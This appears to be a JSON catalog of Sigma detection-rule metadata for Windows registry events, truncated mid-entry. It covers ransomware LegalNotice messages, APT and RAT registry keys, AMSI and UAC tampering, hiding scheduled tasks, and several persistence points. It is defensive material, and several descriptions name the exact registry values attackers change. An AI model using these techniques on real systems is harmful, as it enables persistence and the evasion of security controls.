{ "description": "Detect changes to the \"LegalNoticeCaption\" or \"LegalNoticeText\" registry values where the message set contains keywords often used in ransomware ransom messages", "meta": { "author": "frack113", "creation_date": "2022/12/11", "falsepositive": [ "Unknown" ], "filename": "registry_set_legalnotice_susp_message.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1491.001/T1491.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_set_legalnotice_susp_message.yml" ], "tags": [ "attack.impact", "attack.t1491.001" ] }, "related": [ { "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8b9606c9-28be-4a38-b146-0e313cc232c1", "value": "Potential Ransomware Activity Using LegalNotice Message" }, { "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", "meta": { "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", "creation_date": "2018/03/23", "falsepositive": [ "Unknown" ], "filename": "registry_event_apt_chafer_mar18.yml", "level": "critical", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_chafer_mar18.yml" ], "tags": [ "attack.persistence", "attack.g0049", "attack.t1053.005", "attack.s0111", "attack.t1543.003", "attack.defense_evasion", "attack.t1112", "attack.command_and_control", "attack.t1071.004" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7bdf2a7c-3acc-4091-9581-0a77dad1c5b5", "value": "Chafer Activity - Registry" }, { "description": "Detects Pandemic Windows Implant", "meta": { "author": "Florian Roth", "creation_date": "2017/06/01", "falsepositive": [ "Unknown" ], "filename": "registry_event_apt_pandemic.yml", "level": "critical", "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ "https://twitter.com/MalwareJake/status/870349480356454401", "https://wikileaks.org/vault7/#Pandemic", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_pandemic.yml" ], "tags": [ "attack.lateral_movement", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "47e0852a-cf81-4494-a8e6-31864f8c86ed", "value": "Pandemic Registry Key" }, { "description": "Detects when the \"index\" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as \"schtasks /query\"", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/26", "falsepositive": [ "Unknown" ], "filename": "registry_delete_removal_index_value_scheduled_task_hide.yml", "level": "medium", "logsource.category": "registry_delete", "logsource.product": "windows", "refs": [ "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_index_value_scheduled_task_hide.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "526cc8bc-1cdc-48ad-8b26-f19bff969cec", "value": "Removal Of Index Value to Hide Schedule Task" }, { "description": "Detects the deletion of registry keys containing the MSTSC connection history", "meta": { "author": "Christian Burkard", "creation_date": "2021/10/19", "falsepositive": [ "Unknown" ], "filename": "registry_delete_mstsc_history_cleared.yml", "level": "high", "logsource.category": "registry_delete", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer", "http://woshub.com/how-to-clear-rdp-connections-history/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_mstsc_history_cleared.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070", "attack.t1112" ] }, "uuid": "07bdd2f5-9c58-4f38-aec8-e101bb79ef8d", "value": "Terminal Server Client Connection History Cleared" }, { "description": "Remove SD (Security Descriptor) value in \\Schedule\\TaskCache\\Tree registry hive to hide schedule task. This technique is used by Tarrask malware", "meta": { "author": "Sittikorn S", "creation_date": "2022/04/15", "falsepositive": [ "Unknown" ], "filename": "registry_delete_removal_sd_value_scheduled_task_hide.yml", "level": "medium", "logsource.category": "registry_delete", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_sd_value_scheduled_task_hide.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "acd74772-5f88-45c7-956b-6a7b36c294d2", "value": "Removal Of SD Value to Hide Schedule Task" }, { "description": "Remove the AMSI Provider registry key in HKLM\\Software\\Microsoft\\AMSI to disable AMSI inspection", "meta": { "author": "frack113", "creation_date": "2021/06/07", "falsepositive": [ "Unlikely" ], "filename": "registry_delete_removal_amsi_registry_key.yml", "level": "high", "logsource.category": "registry_delete", "logsource.product": "windows", "refs": [ "https://seclists.org/fulldisclosure/2020/Mar/45", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_amsi_registry_key.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "41d1058a-aea7-4952-9293-29eaaf516465", "value": "Removal Of Amsi Provider Reg Key" }, { "description": "Detects the removal of folders from the \"ProtectedFolders\" list of of exploit guard. Which could indicate an attacker trying to launch an encryption process", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/05", "falsepositive": [ "Legitimate administrators removing applications (should always be monitored)" ], "filename": "registry_delete_exploit_guard_protected_folders.yml", "level": "high", "logsource.category": "registry_delete", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_exploit_guard_protected_folders.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "272e55a4-9e6b-4211-acb6-78f51f0b1b40", "value": "Removal Of Folder From ProtectedFolders In Exploit Guard" }, { "description": "A General detection to trigger for processes removing .*\\shell\\open\\command registry keys. Registry keys that might have been used for COM hijacking activities.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/05/02", "falsepositive": [ "Legitimate software (un)installations are known to cause some false positives. Please add them as a filter when encountered" ], "filename": "registry_delete_removal_com_hijacking_registry_key.yml", "level": "medium", "logsource.category": "registry_delete", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", "https://github.com/OTRF/detection-hackathon-apt29/issues/7", "https://docs.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code", "https://threathunterplaybook.com/evals/apt29/detections/3.C.1_22A46621-7A92-48C1-81BF-B3937EB4FDC3.html", "https://docs.microsoft.com/en-us/windows/win32/shell/launch", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_com_hijacking_registry_key.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "96f697b0-b499-4e5d-9908-a67bec11cdb6", "value": "Removal of Potential COM Hijacking Registry Keys" }, { "description": "Detects COM object hijacking via TreatAs subkey", "meta": { "author": "Kutepov Anton, oscd.community", "creation_date": "2019/10/23", "falsepositive": [ "Maybe some system utilities in rare cases use linking keys for backward compatibility" ], "filename": "registry_add_persistence_key_linking.yml", "level": "medium", "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_key_linking.yml" ], "tags": [ "attack.persistence", "attack.t1546.015" ] }, "related": [ { "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9b0f8a61-91b2-464f-aceb-0527e0a45020", "value": "Windows Registry Persistence COM Key Linking" }, { "description": "Detects new registry key created by Ursnif malware.", "meta": { "author": "megan201296", "creation_date": "2019/02/13", "falsepositive": [ "Unknown" ], "filename": "registry_add_mal_ursnif.yml", "level": "high", "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ "https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/", "https://blog.yoroi.company/research/ursnif-long-live-the-steganography/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_ursnif.yml" ], "tags": [ "attack.execution", "attack.t1112" ] }, "uuid": "21f17060-b282-4249-ade0-589ea3591558", "value": "Ursnif" }, { "description": "A General detection to trigger for the creation or modification of .*\\Software\\Sysinternals\\SDelete registry keys. Indicators of the use of Sysinternals SDelete tool.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/05/02", "falsepositive": [ "Unknown" ], "filename": "registry_add_sysinternals_sdelete_registry_keys.yml", "level": "medium", "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ "https://github.com/OTRF/detection-hackathon-apt29/issues/9", "https://threathunterplaybook.com/evals/apt29/detections/4.B.2_59A9AC92-124D-4C4B-A6BF-3121C98677C3.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_sdelete_registry_keys.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.004" ] }, "related": [ { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9841b233-8df8-4ad7-9133-b0b4402a9014", "value": "Sysinternals SDelete Registry Keys" }, { "description": "Detects the usage of Suspicious Sysinternals Tools such as PsExec, Procdump...etc via the \"accepteula\" key being added to Registry", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/24", "falsepositive": [ "Legitimate use of SysInternals tools" ], "filename": "registry_add_susp_sysinternals_eula_accepted.yml", "level": "medium", "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ "https://twitter.com/Moti_B/status/1008587936735035392", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_susp_sysinternals_eula_accepted.yml" ], "tags": [ "attack.resource_development", "attack.t1588.002" ] }, "related": [ { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c7da8edc-49ae-45a2-9e61-9fd860e4e73d", "value": "Usage of Suspicious Sysinternals Tools" }, { "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence.\nThe disk cleanup manager is part of the operating system. It displays the dialog box […]\nThe user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/21", "falsepositive": [ "Legitimate new entry added by windows" ], "filename": "registry_add_disk_cleanup_handler_new_entry_persistence.yml", "level": "medium", "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/", "https://persistence-info.github.io/Data/diskcleanuphandler.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_disk_cleanup_handler_new_entry_persistence.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "d4f4e0be-cf12-439f-9e25-4e2cdcf7df5a", "value": "Persistence Via Disk Cleanup Handler - NewEntry" }, { "description": "Detects the \"accepteula\" key related to sysinternals tools being created from non sysinternals tools", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/24", "falsepositive": [ "Unlikely" ], "filename": "registry_add_renamed_sysinternals_eula_accepted.yml", "level": "high", "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_renamed_sysinternals_eula_accepted.yml" ], "tags": [ "attack.resource_development", "attack.t1588.002" ] }, "related": [ { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f50f3c09-557d-492d-81db-9064a8d4e211", "value": "Usage of Renamed Sysinternals Tools" }, { "description": "Attempts to detect registry events for common NetWire key HKCU\\Software\\NetWire", "meta": { "author": "Christopher Peacock", "creation_date": "2021/10/07", "falsepositive": [ "Unknown" ], "filename": "registry_add_mal_netwire.yml", "level": "high", "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ "https://resources.infosecinstitute.com/topic/netwire-malware-what-it-is-how-it-works-and-how-to-prevent-it-malware-spotlight/", "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", "https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/", "https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing", "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_netwire.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "1d218616-71b0-4c40-855b-9dbe75510f7f", "value": "NetWire RAT Registry Key" }, { "description": "Detects when an attacker registers a new AMSI provider in order to achieve persistence", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/21", "falsepositive": [ "Legitimate security products adding their own AMSI providers" ], "filename": "registry_add_amsi_providers_persistence.yml", "level": "high", "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ "https://persistence-info.github.io/Data/amsi.html", "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/FakeAMSI/FakeAMSI.c", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_amsi_providers_persistence.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "33efc23c-6ea2-4503-8cfe-bdf82ce8f705", "value": "Persistence Via New AMSI Providers" }, { "description": "Detects the usage of Sysinternals Tools due to accepteula key being added to Registry", "meta": { "author": "Markus Neis", "creation_date": "2017/08/28", "falsepositive": [ "Legitimate use of SysInternals tools", "Programs that use the same Registry Key" ], "filename": "registry_add_sysinternals_eula_accepted.yml", "level": "low", "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ "https://twitter.com/Moti_B/status/1008587936735035392", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_eula_accepted.yml" ], "tags": [ "attack.resource_development", "attack.t1588.002" ] }, "related": [ { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "25ffa65d-76d8-4da5-a832-3f2b0136e133", "value": "Usage of Sysinternals Tools - Registry" }, { "description": "Detects creation of UserInitMprLogonScript persistence method", "meta": { "author": "Tom Ueltschi (@c_APT_ure)", "creation_date": "2019/01/12", "falsepositive": [ "Exclude legitimate logon scripts" ], "filename": "registry_add_logon_scripts_userinitmprlogonscript_reg.yml", "level": "high", "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.001/T1037.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_logon_scripts_userinitmprlogonscript_reg.yml" ], "tags": [ "attack.t1037.001", "attack.persistence", "attack.lateral_movement" ] }, "related": [ { "dest-uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9ace0707-b560-49b8-b6ca-5148b42f39fb", "value": "Logon Scripts Creation in UserInitMprLogonScript Registry" }, { "description": "This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.", "meta": { "author": "oscd.community, Natalia Shornikova", "creation_date": "2020/10/13", "falsepositive": [ "Unknown" ], "filename": "registry_set_wab_dllpath_reg_change.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://twitter.com/Hexacorn/status/991447379864932352", "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml", "http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fc014922-5def-4da9-a0fc-28c973f41bfb", "value": "Execution DLL of Choice Using WAB.EXE" }, { "description": "Detects changes to the \"Default\" property for keys located in the \\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\ registry. Which might be used as a method of persistence\nThe entries found under App Paths are used primarily for the following purposes.\nFirst, to map an application's executable file name to that file's fully qualified path.\nSecond, to pre-pend information to the PATH environment variable on a per-application, per-process basis.\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/10", "falsepositive": [ "Legitimate applications registering their binary from on of the suspicious locations mentioned above (tune it)" ], "filename": "registry_set_persistence_app_paths.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", "https://docs.microsoft.com/en-us/windows/win32/shell/app-registration?redirectedfrom=MSDN", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_app_paths.yml" ], "tags": [ "attack.persistence", "attack.t1546.012" ] }, "related": [ { "dest-uuid": "6d4a7fb3-5a24-42be-ae61-6728a2b581f6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "707e097c-e20f-4f67-8807-1f72ff4500d6", "value": "Potential Persistence Via App Paths Default Property" }, { "description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", "meta": { "author": "Sittikorn S, frack113", "creation_date": "2021/07/16", "falsepositive": [ "Unlikely" ], "filename": "registry_set_cve_2021_31979_cve_2021_33771_exploits.yml", "level": "critical", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2021_31979_cve_2021_33771_exploits.yml" ], "tags": [ "attack.credential_access", "attack.t1566", "attack.t1203", "cve.2021.33771", "cve.2021.31979" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "32b5db62-cb5f-4266-9639-0fa48376ac00", "value": "CVE-2021-31979 CVE-2021-33771 Exploits" }, { "description": "Detect set Notification_Suppress to 1 to disable the windows security center notification", "meta": { "author": "frack113", "creation_date": "2022/08/19", "falsepositive": [ "Unknown" ], "filename": "registry_set_suppress_defender_notifications.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suppress_defender_notifications.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "0c93308a-3f1b-40a9-b649-57ea1a1c1d63", "value": "Activate Suppression of Windows Security Center Notifications" }, { "description": "Detects when an attacker modifies the registry key \"HtmlHelp Author\" to achieve persistence", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/21", "falsepositive": [ "Unknown" ], "filename": "registry_set_persistence_chm.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/", "https://persistence-info.github.io/Data/htmlhelpauthor.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_chm.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "976dd1f2-a484-45ec-aa1d-0e87e882262b", "value": "Potential Persistence Via CHM Helper DLL" }, { "description": "Detects potential persistence using Appx DebugPath", "meta": { "author": "frack113", "creation_date": "2022/07/27", "falsepositive": [ "Unknown" ], "filename": "registry_set_persistence_appx_debugger.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/rootm0s/WinPwnage", "https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_appx_debugger.yml" ], "tags": [ "attack.persistence", "attack.t1546.015" ] }, "related": [ { "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "df4dc653-1029-47ba-8231-3c44238cc0ae", "value": "Potential Persistence Using DebugPath" }, { "description": "Detects disabling the CrashDump per registry (as used by HermeticWiper)", "meta": { "author": "Tobias Michalski", "creation_date": "2022/02/24", "falsepositive": [ "Legitimate disabling of crashdumps" ], "filename": "registry_set_crashdump_disabled.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_crashdump_disabled.yml" ], "tags": [ "attack.t1564", "attack.t1112" ] }, "related": [ { "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2ff692c2-4594-41ec-8fcb-46587de769e0", "value": "CrashControl CrashDump Disabled" }, { "description": "Detects when an attacker tries to disable User Account Control (UAC) by changing its registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA from 1 to 0", "meta": { "author": "frack113", "creation_date": "2022/01/05", "falsepositive": [ "Unknown" ], "filename": "registry_set_disable_uac_registry.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-8---disable-uac-using-regexe", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_uac_registry.yml" ], "tags": [ "attack.privilege_escalation", "attack.defense_evasion", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "48437c39-9e5f-47fb-af95-3d663c3f2919", "value": "Disable UAC Using Registry" }, { "description": "Detects the manipulation of persistent URLs which can be malicious", "meta": { "author": "Tobias Michalski", "creation_date": "2021/06/09", "falsepositive": [ "Unknown" ], "filename": "registry_set_outlook_registry_webview.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://support.microsoft.com/en-us/topic/outlook-home-page-feature-is-missing-in-folder-properties-d207edb7-aa02-46c5-b608-5d9dbed9bd04?ui=en-us&rs=en-us&ad=us", "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_registry_webview.yml" ], "tags": [ "attack.persistence", "attack.t1112" ] }, "uuid": "ddd171b5-2cc6-4975-9e78-f0eccd08cc76", "value": "Persistent Outlook Landing Pages" }, { "description": "Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)", "meta": { "author": "frack113", "creation_date": "2022/03/18", "falsepositive": [ "Legitimate admin script" ], "filename": "registry_set_set_nopolicies_user.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_set_nopolicies_user.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "1c3121ed-041b-4d97-a075-07f54f20fb4a", "value": "Registry Explorer Policy Modification" }, { "description": "Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/01", "falsepositive": [ "Unlikely" ], "filename": "registry_set_policies_associations_tamper.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_associations_tamper.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "a9b6c011-ab69-4ddb-bc0a-c4f21c80ec47", "value": "Potential Attachment Manager Settings Associations Tamper" }, { "description": "Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required)", "meta": { "author": "Florian Roth", "creation_date": "2017/05/08", "falsepositive": [ "Unknown" ], "filename": "registry_set_dns_serverlevelplugindll.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_serverlevelplugindll.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002", "attack.t1112" ] }, "uuid": "e61e8a88-59a9-451c-874e-70fcc9740d67", "value": "DNS ServerLevelPluginDll Install - Registry" }, { "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" ], "filename": "registry_set_asep_reg_keys_modification_currentversion_nt.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion_nt.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "cbf93e5d-ca6c-4722-8bea-e9119007c248", "value": "CurrentVersion NT Autorun Keys Modification" }, { "description": "Detects tampering to RDP Terminal Service/Server sensitive settings.\nSuch as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc\n", "meta": { "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali", "creation_date": "2022/09/29", "falsepositive": [ "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)" ], "filename": "registry_set_terminal_server_suspicious.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ 